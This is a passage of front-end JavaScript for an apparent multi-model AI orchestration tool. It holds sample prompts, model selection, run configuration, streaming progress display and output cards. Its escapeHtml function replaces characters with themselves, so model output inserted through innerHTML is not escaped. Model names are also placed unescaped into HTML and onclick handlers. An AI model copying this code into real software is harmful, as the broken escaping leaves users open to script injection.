'How does CRISPR gene editing work, what are the ethical implications of germline editing, and what regulatory frameworks exist across different countries?'
|
|
],
|
|
tournament: [
|
|
'Write the most compelling opening line for a sci-fi novel.',
|
|
'Propose the best strategy for a small e-commerce business to compete with Amazon on a specific product category. Each model picks a different strategy.',
|
|
'Design an algorithm to fairly allocate limited vaccine doses across a city of 2 million during a pandemic. Optimize for minimizing deaths while considering equity, essential workers, and logistics.'
|
|
],
|
|
evolution: [
|
|
'Generate a company name for a sustainable packaging startup.',
|
|
'Evolve the perfect elevator pitch for a startup that uses satellite imagery and AI to predict crop failures before they happen. Mutate for clarity, impact, and memorability.',
|
|
'Evolve an optimal urban intersection design that minimizes pedestrian fatalities, maximizes throughput, accommodates cyclists and wheelchairs, handles emergency vehicles, and works in all seasons.'
|
|
],
|
|
blindassembly: [
|
|
'Explain how the internet works, with each model covering a different layer of the stack.',
|
|
'Write a business plan for a coworking space — split into market analysis, financial model, operations plan, and marketing strategy. No model sees the others.',
|
|
'Design a smart city emergency response system. Split into: sensor network, dispatch AI, citizen communication, hospital coordination, and post-incident analysis. Each model works blind.'
|
|
],
|
|
staircase: [
|
|
'Plan a birthday party. Then: budget is only $50. Then: one guest has severe allergies. Then: it starts raining.',
|
|
'Design a social media app. Add: must work offline-first. Add: no centralized server. Add: must be accessible to visually impaired users. Add: must comply with GDPR, COPPA, and CCPA.',
|
|
'Write a peace treaty between two fictional nations. Add: one side has all the water. Add: the other has all the farmland. Add: a third nation controls the only trade route. Add: election in 30 days. Add: climate disaster in 90 days.'
|
|
],
|
|
drift: [
|
|
'What year was the first email sent?',
|
|
'Explain the trolley problem and give your definitive answer on the correct moral choice. Map whether the model is consistent or waffles between positions.',
|
|
'Estimate the total number of piano tuners in Chicago, then describe the exact sequence of events causing the 2003 Northeast blackout. Map which claims are rock-solid vs. which shift each run.'
|
|
],
|
|
mesh: [
|
|
'Should our company adopt a 4-day work week?',
|
|
'A tech company wants to deploy facial recognition in their office. Get perspectives from the CISO, employees, legal team, disability advocates, and night-shift cleaning staff.',
|
|
'A pharma company discovers their blockbuster drug has a rare side effect (1 in 50,000) but helps 2 million people. Get views from the CEO, chief medical officer, patient advocates, the FDA, a plaintiff attorney, shareholders, and an investigative journalist.'
|
|
],
|
|
hallucination: [
|
|
'Tell me about the founding of Stanford University.',
|
|
'Explain the Tuskegee Syphilis Study — when it started, who ran it, what happened, when and why it ended, and what policy changes resulted. Include specific dates and names.',
|
|
'Describe the Therac-25 radiation therapy incidents. Include specific hospitals, dates, doses, the exact software bugs, and resulting regulatory changes. Flag every claim that could be confabulated.'
|
|
],
|
|
timeloop: [
|
|
'How should a restaurant handle a sudden rush of 200 customers?',
|
|
'Design a public transit system for a growing city of 500,000. Watch each solution create new problems — traffic displacement, gentrification, budget overruns — and evolve under chaos.',
|
|
'You are AI advisor to a country that detected an incoming solar storm knocking out 60% of the power grid in 72 hours. Survive cascading failures: infrastructure collapse, public panic, hospital backup exhaustion, communication blackouts, and economic aftershocks.'
|
|
],
|
|
research: [
|
|
'What is the current state of solid-state battery technology?',
|
|
'Investigate AI-powered drug discovery: key players, approaches, drugs in clinical trials, and limitations of the field.',
|
|
'Produce a research brief on the global rare earth mineral supply chain: who controls extraction and processing, geopolitical vulnerabilities, alternatives, and disruption impact on semiconductors, EVs, and defense.'
|
|
],
|
|
eval: [
|
|
'What is the capital of Australia, and why do people often get it wrong?',
|
|
'A trolley heads toward 5 people — you can divert it to hit 1 child. Evaluate each model on moral reasoning depth, consistency, and ability to handle complexity.',
|
|
'Write a Python function solving N-Queens, explain the approach, analyze time complexity, and suggest an optimization. Evaluate correctness, code quality, explanation clarity, and optimization validity.'
|
|
],
|
|
extract: [
|
|
'The James Webb Space Telescope launched December 25, 2021. It orbits the Sun-Earth L2 point, 1.5 million km from Earth. Its 6.5m primary mirror has 18 gold-plated beryllium segments.',
|
|
'Extract all entities, relationships, and claims from the Apollo 11 Wikipedia article. Structure as people, organizations, dates, technical specs, and disputed claims.',
|
|
'Process the Paris Climate Agreement. Extract signatory obligations by category, numeric targets, compliance mechanisms, financial commitments, and identify legally binding vs. aspirational obligations.'
|
|
]
|
|
};
|
|
|
|
function renderSamplePrompts() {
|
|
const container = document.getElementById('sample-prompts');
|
|
const prompts = SAMPLE_PROMPTS[currentMode] || [];
|
|
const levels = ['basic', 'mid', 'advanced'];
|
|
container.textContent = '';
|
|
prompts.forEach(function(p, i) {
|
|
const chip = document.createElement('div');
|
|
chip.className = 'sample-chip';
|
|
chip.title = p;
|
|
chip.dataset.prompt = p;
|
|
const lbl = document.createElement('span');
|
|
lbl.className = 'chip-level';
|
|
lbl.textContent = levels[i];
|
|
chip.appendChild(lbl);
|
|
chip.appendChild(document.createTextNode(p.length > 70 ? p.slice(0, 67) + '...' : p));
|
|
chip.addEventListener('click', function() {
|
|
document.getElementById('prompt').value = this.dataset.prompt;
|
|
this.style.borderColor = 'var(--green)';
|
|
setTimeout(function() { chip.style.borderColor = ''; }, 800);
|
|
});
|
|
container.appendChild(chip);
|
|
});
|
|
}
|
|
|
|
async function loadModels() {
|
|
const resp = await fetch('/api/models');
|
|
const data = await resp.json();
|
|
availableModels = data.models;
|
|
const local = availableModels.filter(m => m.provider === 'ollama').length;
|
|
const cloud = availableModels.length - local;
|
|
const label = cloud ? local + ' local + ' + cloud + ' cloud' : availableModels.length + ' models';
|
|
document.getElementById('model-count').innerHTML = '<span class="dot"></span>' + label;
|
|
ML_IDS.forEach(id => { modelSets[id] = new Set(availableModels.map(m => m.name)); });
|
|
renderAllModelLists();
|
|
populateAllSelects();
|
|
initPipeline();
|
|
}
|
|
|
|
function renderModelList(listId) {
|
|
const list = document.getElementById(listId);
|
|
if (!list) return;
|
|
const set = modelSets[listId];
|
|
list.innerHTML = availableModels.map((m, i) => {
|
|
const sel = set.has(m.name) ? 'selected' : '';
|
|
const dn = m.display_name || m.name;
|
|
const badge = m.provider && m.provider !== 'ollama' ? ` <span class="prov-badge ${m.provider}">${m.provider_label}</span>` : '';
|
|
return `<div class="model-card ${sel}" onclick="toggleModelIn('${listId}','${m.name}')">
|
|
<div class="check">${sel ? '✓' : ''}</div>
|
|
<div class="info"><div class="name">${dn}${badge}</div><div class="meta">${m.size}</div></div>
|
|
<div style="width:10px;height:10px;border-radius:50%;background:${COLORS[i%COLORS.length]}"></div>
|
|
</div>`;
|
|
}).join('');
|
|
}
|
|
|
|
function toggleModelIn(listId, name) {
|
|
const set = modelSets[listId];
|
|
if (set.has(name)) set.delete(name); else set.add(name);
|
|
renderModelList(listId);
|
|
}
|
|
|
|
function renderAllModelLists() { ML_IDS.forEach(renderModelList); }
|
|
|
|
function populateAllSelects() {
|
|
const ids = ['synthesizer','debater1','debater2','debate-judge','validator-answerer',
|
|
'redteam-author','redteam-attacker','redteam-patcher','codereview-coder','codereview-reviewer',
|
|
'codereview-tester','tournament-judge','evolution-judge','blind-assembler','staircase-answerer',
|
|
'staircase-challenger','drift-target','drift-analyzer','mesh-synthesizer','halluc-answerer',
|
|
'timeloop-answerer','timeloop-chaos',
|
|
'research-scout','research-checker','research-synth',
|
|
'eval-judge','extract-model','extract-verifier'];
|
|
ids.forEach(id => {
|
|
const el = document.getElementById(id);
|
|
if (!el) return;
|
|
el.innerHTML = availableModels.map(m => `<option value="${m.name}">${m.display_name || m.name}${m.provider && m.provider!=='ollama'?' ('+m.provider_label+')':''}</option>`).join('');
|
|
});
|
|
const n = (i) => availableModels[i % availableModels.length]?.name;
|
|
if (availableModels.length >= 2) {
|
|
['debater2','redteam-attacker','codereview-reviewer','staircase-challenger','drift-analyzer','timeloop-chaos'].forEach(id => {
|
|
const el = document.getElementById(id); if (el) el.value = n(1);
|
|
});
|
|
}
|
|
if (availableModels.length >= 3) {
|
|
['debate-judge','redteam-patcher','codereview-tester'].forEach(id => {
|
|
const el = document.getElementById(id); if (el) el.value = n(2);
|
|
});
|
|
}
|
|
}
|
|
|
|
function setMode(mode) {
|
|
currentMode = mode;
|
|
document.querySelectorAll('.mode-tab').forEach(t => t.classList.toggle('active', t.dataset.mode === mode));
|
|
document.querySelectorAll('.config-section').forEach(s => s.style.display = 'none');
|
|
const cfg = document.getElementById('config-' + mode);
|
|
if (cfg) cfg.style.display = '';
|
|
document.getElementById('mode-desc').textContent = MODE_DESCS[mode] || '';
|
|
const ml = document.getElementById('mode-label');
|
|
if (ml) ml.textContent = mode.charAt(0).toUpperCase() + mode.slice(1);
|
|
renderSamplePrompts();
|
|
}
|
|
|
|
let pipelineSteps = [];
|
|
function initPipeline() {
|
|
if (!availableModels.length) return;
|
|
const n = (i) => availableModels[i % availableModels.length].name;
|
|
pipelineSteps = [
|
|
{ model: n(0), instruction: 'Draft an initial answer to: {input}' },
|
|
{ model: n(1), instruction: 'Review and improve this draft:\n\n{input}' },
|
|
{ model: n(2), instruction: 'Polish into a final response:\n\n{input}' },
|
|
];
|
|
renderPipeline();
|
|
}
|
|
function renderPipeline() {
|
|
document.getElementById('pipeline-steps').innerHTML = pipelineSteps.map((step, i) => {
|
|
const opts = availableModels.map(m => `<option value="${m.name}" ${m.name===step.model?'selected':''}>${m.name}</option>`).join('');
|
|
return `<div class="pipeline-step"><div class="step-num">${i+1}</div><select onchange="pipelineSteps[${i}].model=this.value">${opts}</select><input type="text" value="${step.instruction}" onchange="pipelineSteps[${i}].instruction=this.value"><button class="remove-step" onclick="removePipelineStep(${i})">✕</button></div>`;
|
|
}).join('');
|
|
}
|
|
function addPipelineStep() { pipelineSteps.push({ model: availableModels[0]?.name, instruction: 'Process: {input}' }); renderPipeline(); }
|
|
function removePipelineStep(i) { pipelineSteps.splice(i, 1); renderPipeline(); }
|
|
|
|
function getModels(listId) { return [...(modelSets[listId] || [])]; }
|
|
function getVal(id) { const el = document.getElementById(id); return el ? el.value : ''; }
|
|
function getNum(id) { return parseInt(getVal(id)) || 2; }
|
|
|
|
function buildConfig() {
|
|
const prompt = document.getElementById('prompt').value.trim();
|
|
if (!prompt) return null;
|
|
let c = { mode: currentMode, prompt };
|
|
switch (currentMode) {
|
|
case 'brainstorm': c.models = getModels('ml-brainstorm'); c.synthesizer = getVal('synthesizer'); break;
|
|
case 'pipeline': c.steps = pipelineSteps; break;
|
|
case 'debate': c.debater1 = getVal('debater1'); c.debater2 = getVal('debater2'); c.judge = getVal('debate-judge'); c.rounds = getNum('debate-rounds'); break;
|
|
case 'validator': c.answerer = getVal('validator-answerer'); c.validators = getModels('ml-validator').filter(m => m !== c.answerer); break;
|
|
case 'roundrobin': c.models = getModels('ml-roundrobin'); c.cycles = getNum('roundrobin-cycles'); break;
|
|
case 'redteam': c.author = getVal('redteam-author'); c.attacker = getVal('redteam-attacker'); c.patcher = getVal('redteam-patcher'); c.rounds = getNum('redteam-rounds'); break;
|
|
case 'consensus': c.models = getModels('ml-consensus'); c.max_rounds = getNum('consensus-rounds'); break;
|
|
case 'codereview': c.coder = getVal('codereview-coder'); c.reviewer = getVal('codereview-reviewer'); c.tester = getVal('codereview-tester'); break;
|
|
case 'ladder': c.models = getModels('ml-ladder'); break;
|
|
case 'tournament': c.models = getModels('ml-tournament'); c.judge = getVal('tournament-judge'); break;
|
|
case 'evolution': c.models = getModels('ml-evolution'); c.generations = getNum('evolution-gens'); c.judge = getVal('evolution-judge'); break;
|
|
case 'blindassembly': c.models = getModels('ml-blindassembly'); c.assembler = getVal('blind-assembler'); break;
|
|
case 'staircase': c.answerer = getVal('staircase-answerer'); c.challenger = getVal('staircase-challenger'); c.steps = getNum('staircase-steps'); break;
|
|
case 'drift': c.target = getVal('drift-target'); c.samples = getNum('drift-samples'); c.analyzer = getVal('drift-analyzer'); break;
|
|
case 'mesh': c.models = getModels('ml-mesh'); c.synthesizer = getVal('mesh-synthesizer'); break;
|
|
case 'hallucination': c.answerer = getVal('halluc-answerer'); c.hunters = getModels('ml-hallucination').filter(m => m !== c.answerer); break;
|
|
case 'timeloop': c.answerer = getVal('timeloop-answerer'); c.chaos = getVal('timeloop-chaos'); c.loops = getNum('timeloop-loops'); break;
|
|
case 'research': c.scout = getVal('research-scout'); c.models = getModels('ml-research'); c.checker = getVal('research-checker'); c.synthesizer = getVal('research-synth'); c.num_questions = getNum('research-questions'); break;
|
|
case 'eval': c.models = getModels('ml-eval'); c.judge = getVal('eval-judge'); c.eval_type = getVal('eval-type'); c.rounds = getNum('eval-rounds'); break;
|
|
case 'extract': c.extractor = getVal('extract-model'); c.verifier = getVal('extract-verifier'); c.source = getVal('extract-source'); break;
|
|
}
|
|
return c;
|
|
}
|
|
|
|
let _runStartTime = 0;
|
|
let _runTimer = null;
|
|
let _runEventCount = 0;
|
|
let _runResponseCount = 0;
|
|
let _runTotalChars = 0;
|
|
let _runModelsUsed = new Set();
|
|
let _runErrors = 0;
|
|
let _runKeepAlives = 0;
|
|
|
|
function formatElapsed(ms) {
|
|
const s = Math.floor(ms / 1000);
|
|
if (s < 60) return s + 's';
|
|
return Math.floor(s/60) + 'm ' + (s%60) + 's';
|
|
}
|
|
|
|
function formatBytes(chars) {
|
|
if (chars < 1000) return chars + ' ch';
|
|
if (chars < 100000) return (chars/1000).toFixed(1) + 'K';
|
|
return (chars/1000).toFixed(0) + 'K';
|
|
}
|
|
|
|
function estimateTokens(chars) {
|
|
var t = Math.round(chars / 4);
|
|
if (t < 1000) return t.toString();
|
|
return (t/1000).toFixed(1) + 'K';
|
|
}
|
|
|
|
function updateProgressMetrics() {
|
|
var el = document.getElementById('prog-time');
|
|
if (el && _runStartTime) el.textContent = formatElapsed(Date.now() - _runStartTime);
|
|
var m;
|
|
m = document.getElementById('pm-elapsed');
|
|
if (m) m.textContent = formatElapsed(Date.now() - _runStartTime);
|
|
m = document.getElementById('pm-models');
|
|
if (m) m.textContent = _runModelsUsed.size;
|
|
m = document.getElementById('pm-responses');
|
|
if (m) m.textContent = _runResponseCount;
|
|
m = document.getElementById('pm-tokens');
|
|
if (m) m.textContent = '~' + estimateTokens(_runTotalChars);
|
|
m = document.getElementById('pm-data');
|
|
if (m) m.textContent = formatBytes(_runTotalChars);
|
|
m = document.getElementById('pm-events');
|
|
if (m) m.textContent = _runEventCount;
|
|
m = document.getElementById('pm-errors');
|
|
if (m) { m.textContent = _runErrors; m.parentNode.className = _runErrors > 0 ? 'prog-metric err' : 'prog-metric'; }
|
|
m = document.getElementById('pm-heartbeat');
|
|
if (m) m.textContent = _runKeepAlives;
|
|
}
|
|
|
|
async function runTeam() {
|
|
var config = buildConfig();
|
|
if (!config) return;
|
|
var btn = document.getElementById('run-btn');
|
|
btn.disabled = true; btn.textContent = 'Running...';
|
|
var output = document.getElementById('output');
|
|
_runStartTime = Date.now();
|
|
_runEventCount = 0;
|
|
_runResponseCount = 0;
|
|
_runTotalChars = 0;
|
|
_runModelsUsed = new Set();
|
|
_runErrors = 0;
|
|
_runKeepAlives = 0;
|
|
|
|
// Count models in config
|
|
var cfgModels = config.models ? config.models.length : 0;
|
|
var totalModels = cfgModels;
|
|
if (config.synthesizer) totalModels++;
|
|
if (config.scout) totalModels++;
|
|
if (config.checker) totalModels++;
|
|
if (config.judge) totalModels++;
|
|
|
|
var progEl = document.createElement('div');
|
|
progEl.className = 'progress-panel';
|
|
progEl.id = 'run-progress';
|
|
progEl.textContent = '';
|
|
|
|
// Header row
|
|
var header = document.createElement('div');
|
|
header.className = 'progress-header';
|
|
var modeLabel = document.createElement('span');
|
|
modeLabel.className = 'prog-mode';
|
|
modeLabel.textContent = currentMode;
|
|
var timeLabel = document.createElement('span');
|
|
timeLabel.className = 'prog-time';
|
|
timeLabel.id = 'prog-time';
|
|
timeLabel.textContent = '0s';
|
|
header.appendChild(modeLabel);
|
|
header.appendChild(timeLabel);
|
|
progEl.appendChild(header);
|
|
|
|
// Progress bar
|
|
var track = document.createElement('div');
|
|
track.className = 'progress-track';
|
|
var fill = document.createElement('div');
|
|
fill.className = 'progress-fill';
|
|
fill.id = 'prog-fill';
|
|
fill.style.width = '2%';
|
|
track.appendChild(fill);
|
|
progEl.appendChild(track);
|
|
|
|
// Step indicators
|
|
var stepsDiv = document.createElement('div');
|
|
stepsDiv.className = 'progress-steps';
|
|
stepsDiv.id = 'prog-steps';
|
|
progEl.appendChild(stepsDiv);
|
|
|
|
// Substep detail
|
|
var detail = document.createElement('div');
|
|
detail.className = 'progress-detail';
|
|
var substep = document.createElement('span');
|
|
substep.className = 'prog-substep';
|
|
substep.id = 'prog-substep';
|
|
substep.textContent = 'Initializing...';
|
|
var stats = document.createElement('span');
|
|
stats.className = 'prog-stats';
|
|
stats.id = 'prog-events';
|
|
stats.textContent = '';
|
|
detail.appendChild(substep);
|
|
detail.appendChild(stats);
|
|
progEl.appendChild(detail);
|
|
|
|
// Metrics grid
|
|
var metrics = document.createElement('div');
|
|
metrics.className = 'prog-metrics';
|
|
metrics.id = 'prog-metrics';
|
|
var metricDefs = [
|
|
{id:'pm-elapsed', label:'Elapsed', val:'0s'},
|
|
{id:'pm-models', label:'Models', val:'0/' + totalModels},
|
|
{id:'pm-responses', label:'Responses', val:'0'},
|
|
{id:'pm-tokens', label:'Est. Tokens', val:'~0'},
|
|
{id:'pm-data', label:'Data Recv', val:'0 ch'},
|
|
{id:'pm-events', label:'SSE Events', val:'0'},
|
|
{id:'pm-errors', label:'Errors', val:'0'},
|
|
{id:'pm-heartbeat', label:'Heartbeats', val:'0'}
|
|
];
|
|
metricDefs.forEach(function(md) {
|
|
var box = document.createElement('div');
|
|
box.className = 'prog-metric';
|
|
var v = document.createElement('div');
|
|
v.className = 'mv';
|
|
v.id = md.id;
|
|
v.textContent = md.val;
|
|
var l = document.createElement('div');
|
|
l.className = 'ml';
|
|
l.textContent = md.label;
|
|
box.appendChild(v);
|
|
box.appendChild(l);
|
|
metrics.appendChild(box);
|
|
});
|
|
progEl.appendChild(metrics);
|
|
|
|
output.textContent = '';
|
|
output.appendChild(progEl);
|
|
_runTimer = setInterval(updateProgressMetrics, 500);
|
|
try {
|
|
const resp = await fetch('/api/run', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(config) });
|
|
if (!resp.ok) {
|
|
const errData = await resp.json().catch(function() { return {error: 'HTTP ' + resp.status}; });
|
|
throw new Error(errData.error || 'HTTP ' + resp.status);
|
|
}
|
|
const reader = resp.body.getReader();
|
|
const decoder = new TextDecoder();
|
|
let buffer = '';
|
|
while (true) {
|
|
const {value, done} = await reader.read();
|
|
if (done) break;
|
|
buffer += decoder.decode(value, {stream: true});
|
|
const lines = buffer.split('\n');
|
|
buffer = lines.pop();
|
|
for (const line of lines) {
|
|
if (line.startsWith('data: ')) { try { _runEventCount++; handleEvent(JSON.parse(line.slice(6))); } catch(e) {} }
|
|
else if (line.indexOf('keepalive') >= 0) { _runKeepAlives++; }
|
|
}
|
|
}
|
|
} catch(e) {
|
|
var errDiv = document.createElement('a');
|
|
errDiv.className = 'status-bar';
|
|
errDiv.href = '/admin/monitor';
|
|
errDiv.style.cssText = 'color:var(--red);border-color:var(--red);text-decoration:none;cursor:pointer;display:flex';
|
|
errDiv.textContent = 'Error: ' + e.message + ' (after ' + formatElapsed(Date.now() - _runStartTime) + ') — click to view logs';
|
|
output.appendChild(errDiv);
|
|
}
|
|
clearInterval(_runTimer);
|
|
updateProgressMetrics();
|
|
var prog = document.getElementById('run-progress');
|
|
if (prog) {
|
|
prog.classList.add('done');
|
|
var fillEl = document.getElementById('prog-fill');
|
|
if (fillEl) { fillEl.style.width = '100%'; fillEl.style.boxShadow = '0 0 20px rgba(74,222,128,0.5)'; fillEl.style.background = 'linear-gradient(90deg, #4ade80, #22d3ee)'; }
|
|
var sub = document.getElementById('prog-substep');
|
|
if (sub) sub.textContent = 'Complete — ' + formatElapsed(Date.now() - _runStartTime) + ' — ' + _runResponseCount + ' responses — ~' + estimateTokens(_runTotalChars) + ' tokens';
|
|
var allSteps = prog.querySelectorAll('.progress-step');
|
|
allSteps.forEach(function(s) { s.className = 'progress-step done'; });
|
|
// Turn metric values green on completion
|
|
var mvs = prog.querySelectorAll('.prog-metric');
|
|
mvs.forEach(function(m) { if (!m.classList.contains('err') || _runErrors === 0) m.classList.add('highlight'); });
|
|
setTimeout(function() { if (prog.parentNode) { prog.style.opacity = '0.6'; } }, 8000);
|
|
}
|
|
btn.disabled = false; btn.textContent = 'Run Team';
|
|
}
|
|
|
|
function handleEvent(evt) {
|
|
const output = document.getElementById('output');
|
|
if (evt.type === 'clear') {
|
|
const prog = document.getElementById('run-progress');
|
|
output.textContent = '';
|
|
output.dataset.lastPhase = '';
|
|
if (prog) output.appendChild(prog);
|
|
return;
|
|
}
|
|
if (evt.type === 'progress') {
|
|
const fill = document.getElementById('prog-fill');
|
|
const sub = document.getElementById('prog-substep');
|
|
const stepsDiv = document.getElementById('prog-steps');
|
|
if (fill && evt.percent != null) fill.style.width = Math.max(2, Math.min(98, evt.percent)) + '%';
|
|
if (sub && evt.substep) sub.textContent = evt.substep;
|
|
if (stepsDiv && evt.total_steps) {
|
|
while (stepsDiv.children.length < evt.total_steps) {
|
|
const s = document.createElement('div');
|
|
s.className = 'progress-step';
|
|
stepsDiv.appendChild(s);
|
|
}
|
|
for (let i = 0; i < stepsDiv.children.length; i++) {
|
|
if (i < evt.step - 1) stepsDiv.children[i].className = 'progress-step done';
|
|
else if (i === evt.step - 1) stepsDiv.children[i].className = 'progress-step active';
|
|
else stepsDiv.children[i].className = 'progress-step';
|
|
}
|
|
}
|
|
return;
|
|
}
|
|
if (evt.type === 'status') {
|
|
const sub = document.getElementById('prog-substep');
|
|
if (sub) { sub.textContent = evt.message; return; }
|
|
let bar = output.querySelector('.status-bar');
|
|
if (bar) bar.querySelector('span').textContent = evt.message;
|
|
else {
|
|
const newBar = document.createElement('div');
|
|
newBar.className = 'status-bar';
|
|
const sp = document.createElement('div');
|
|
sp.className = 'spinner';
|
|
const span = document.createElement('span');
|
|
span.textContent = evt.message;
|
|
newBar.appendChild(sp);
|
|
newBar.appendChild(span);
|
|
output.appendChild(newBar);
|
|
}
|
|
return;
|
|
}
|
|
if (evt.type === 'done') { const bar = output.querySelector('.status-bar'); if (bar) bar.remove(); return; }
|
|
if (evt.type === 'response') {
|
|
_runResponseCount++;
|
|
_runTotalChars += (evt.text || '').length;
|
|
if (evt.model) _runModelsUsed.add(evt.model);
|
|
if (evt.role === 'error') _runErrors++;
|
|
const bar = output.querySelector('.status-bar'); if (bar) bar.remove();
|
|
// Phase labels — show when role changes
|
|
const role = evt.role || 'response';
|
|
const PHASE_MAP = {scout:'scouting',researcher:'researching',respondent:'models responding','fact-checker':'fact-checking',synthesis:'synthesizing',judge:'judging',error:'error',coder:'coding',reviewer:'reviewing',tester:'testing',attacker:'red teaming',patcher:'patching',survivor:'surviving','chaos-agent':'chaos round','mesh-360':'360 synthesis'};
|
|
const phaseName = PHASE_MAP[role] || role;
|
|
const lastPhase = output.dataset.lastPhase || '';
|
|
if (phaseName !== lastPhase && role !== 'error') {
|
|
output.dataset.lastPhase = phaseName;
|
|
var label = document.createElement('div');
|
|
label.className = 'phase-label';
|
|
label.textContent = phaseName;
|
|
output.appendChild(label);
|
|
}
|
|
const mi = availableModels.findIndex(m => m.name === evt.model);
|
|
const color = COLORS[(mi >= 0 ? mi : 0) % COLORS.length];
|
|
const displayName = mi >= 0 ? (availableModels[mi].display_name || evt.model) : evt.model;
|
|
const isError = evt.role === 'error';
|
|
const hl = ['synthesis','judge','verdict','final','consensus','patcher','assembler','analyzer','survivor','mesh-360'].includes(evt.role);
|
|
const isCrazy = evt.role && (evt.role.includes('catastrophe') || evt.role.includes('chaos') || evt.role === 'survivor');
|
|
const card = document.createElement('div');
|
|
card.className = 'output-card' + (isError ? ' error-card' : '') + (hl ? ' synthesis-card' : '') + (isCrazy ? ' crazy-card' : '');
|
|
const roleTag = evt.role ? `<span class="role-tag">${evt.role}</span>` : '';
|
|
const uid = 'resp-' + Date.now() + '-' + Math.random().toString(36).substr(2,4);
|
|
const errorLink = isError ? `<a class="error-link" href="/admin/monitor">View error details in monitor →</a>` : '';
|
|
card.innerHTML = `<div class="card-header" style="cursor:pointer" onclick="openRepipe('${uid}')"><div class="dot" style="background:${isError ? 'var(--red)' : color}"></div>${displayName}${roleTag}</div><div class="card-body" id="${uid}">${escapeHtml(evt.text)}</div>${errorLink}<div class="card-actions"><button class="card-act" onclick="event.stopPropagation();copyCard('${uid}',this)">Copy</button><button class="card-act" onclick="event.stopPropagation();useAsPrompt('${uid}')">Use as Prompt</button><button class="card-act" onclick="event.stopPropagation();openRepipe('${uid}')">Iterate</button></div>`;
|
|
card.dataset.model = evt.model;
|
|
card.dataset.role = evt.role || '';
|
|
card.dataset.displayName = displayName;
|
|
output.appendChild(card);
|
|
// Auto-scroll to latest response
|
|
card.scrollIntoView({behavior: 'smooth', block: 'nearest'});
|
|
}
|
|
}
|
|
|
|
function escapeHtml(t) { return t.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>'); }
|
|
|
|
// ─── CARD ACTIONS ────────────────────────────────────
|
|
function copyCard(uid, btn) {
|
|
const el = document.getElementById(uid);
|
|
if (!el) return;
|
|
navigator.clipboard.writeText(el.textContent).then(() => {
|
|
btn.textContent = 'Copied!';
|
|
btn.classList.add('copied');
|
|
setTimeout(() => { btn.textContent = 'Copy'; btn.classList.remove('copied'); }, 1500);
|
|
});
|
|
}
|
|
|
|
function useAsPrompt(uid) {
|
|
const el = document.getElementById(uid);
|
|
if (!el) return;
|
|
document.getElementById('prompt').value = el.textContent;
|
|
document.getElementById('prompt').focus();
|
|
document.getElementById('prompt').scrollIntoView({behavior:'smooth'});
|
|
}
|
|
|
|
let repipeText = '';
|
|
let repipeModel = '';
|
|
let repipeSelectedMode = '';
|
|
|
|
function openRepipe(uid) {
|
|
const el = document.getElementById(uid);
|
|
if (!el) return;
|
|
const card = el.closest('.output-card') || el.closest('.hp-resp');
|
|
repipeText = el.textContent;
|
|
repipeModel = card?.dataset?.model || card?.dataset?.displayName || '';
|
|
const dn = card?.dataset?.displayname || card?.dataset?.displayName || repipeModel;
|
|
repipeSelectedMode = '';
|
|
|
|
const modal = document.getElementById('repipe-overlay');
|
|
document.getElementById('repipe-title').textContent = dn + (card?.dataset?.role ? ' (' + card.dataset.role + ')' : '');
|
|
document.getElementById('repipe-text').textContent = repipeText;
|
|
renderRepipeModes();
|
|
modal.classList.add('open');
|
|
}
|
|
|
|
function closeRepipe() {
|
|
document.getElementById('repipe-overlay').classList.remove('open');
|
|
}
|
|
|
|
function renderRepipeModes() {
|
|
const modes = ['brainstorm','pipeline','debate','validator','roundrobin','redteam','consensus','codereview',
|
|
'ladder','tournament','evolution','blindassembly','staircase','drift','mesh','hallucination','timeloop',
|
|
'research','eval','extract'];
|
|
document.getElementById('repipe-modes').innerHTML = modes.map(m =>
|
|
`<div class="repipe-mode ${m===repipeSelectedMode?'sel':''}" onclick="repipeSelectedMode='${m}';renderRepipeModes()">${m}</div>`
|
|
).join('');
|
|
}
|
|
|
|
function repipeCopy() {
|
|
navigator.clipboard.writeText(repipeText);
|
|
const btn = event.target;
|
|
btn.textContent = 'Copied!';
|
|
setTimeout(() => btn.textContent = 'Copy to Clipboard', 1500);
|
|
}
|
|
|
|
function repipeUseAsPrompt() {
|
|
document.getElementById('prompt').value = repipeText;
|
|
closeRepipe();
|
|
document.getElementById('prompt').focus();
|
|
}
|
|
|
|
function repipeAppendToPrompt() {
|
|
const p = document.getElementById('prompt');
|
|
p.value = p.value ? p.value + '\n\n---\n\n' + repipeText : repipeText;
|
|
closeRepipe();
|
|
p.focus();
|
|
}
|
|
|
|
function repipeRunInMode() {
|
|
if (!repipeSelectedMode) return;
|
|
document.getElementById('prompt').value = repipeText;
|
|
setMode(repipeSelectedMode);
|
|
closeRepipe();
|
|
document.getElementById('prompt').scrollIntoView({behavior:'smooth'});
|
|
}
|
|
|
|
function repipeRunNow() {
|
|
if (!repipeSelectedMode) return;
|
|
document.getElementById('prompt').value = repipeText;
|
|
setMode(repipeSelectedMode);
|
|
closeRepipe();
|
|
setTimeout(() => runTeam(), 100);
|
|
}
|
|
|
|
// ─── HISTORY ─────────────────────────────────────────
|
|
let historyRuns = [];
|
|
|
|
function toggleHistory() {
|
|
const panel = document.getElementById('history-panel');
|
|
const overlay = document.getElementById('history-overlay');
|
|
const isOpen = panel.classList.contains('open');
|
|
if (isOpen) {
|
|
panel.classList.remove('open');
|
|
overlay.classList.remove('open');
|
|
} else {
|
|
loadHistory();
|
|
panel.classList.add('open');
|
|
overlay.classList.add('open');
|
|
}
|
|
}
|
|
|
|
var _historyView = 'active'; // active or archived
|
|
|
|
async function loadHistory() {
|
|
var show = _historyView === 'archived' ? 'archived' : 'active';
|
|
var r = await fetch('/api/runs?show=' + show);
|
|
var data = await r.json();
|
|
historyRuns = data.runs || [];
|
|
renderHistoryList();
|
|
}
|
|
|
|
function renderHistoryList() {
|
|
var el = document.getElementById('hp-content');
|
|
var isArchived = _historyView === 'archived';
|
|
|
|
// Toggle bar
|
|
var toggleBar = '<div style="display:flex;gap:4px;padding:8px;border-bottom:2px solid var(--border)">'
|
|
+ '<button class="hp-btn" style="'+ (!isArchived ? 'border-color:var(--accent);color:var(--accent)' : '') +'" onclick="_historyView=\'active\';loadHistory()">Active</button>'
|
|
+ '<button class="hp-btn" style="'+ (isArchived ? 'border-color:var(--accent);color:var(--accent)' : '') +'" onclick="_historyView=\'archived\';loadHistory()">Archived</button>'
|
|
+ '<span style="flex:1"></span>';
|
|
if (!isArchived && historyRuns.length > 0) {
|
|
toggleBar += '<button class="hp-btn" style="border-color:rgba(217,70,239,0.3);color:#d946ef;font-size:9px" onclick="bulkArchive()">Archive All</button>';
|
|
}
|
|
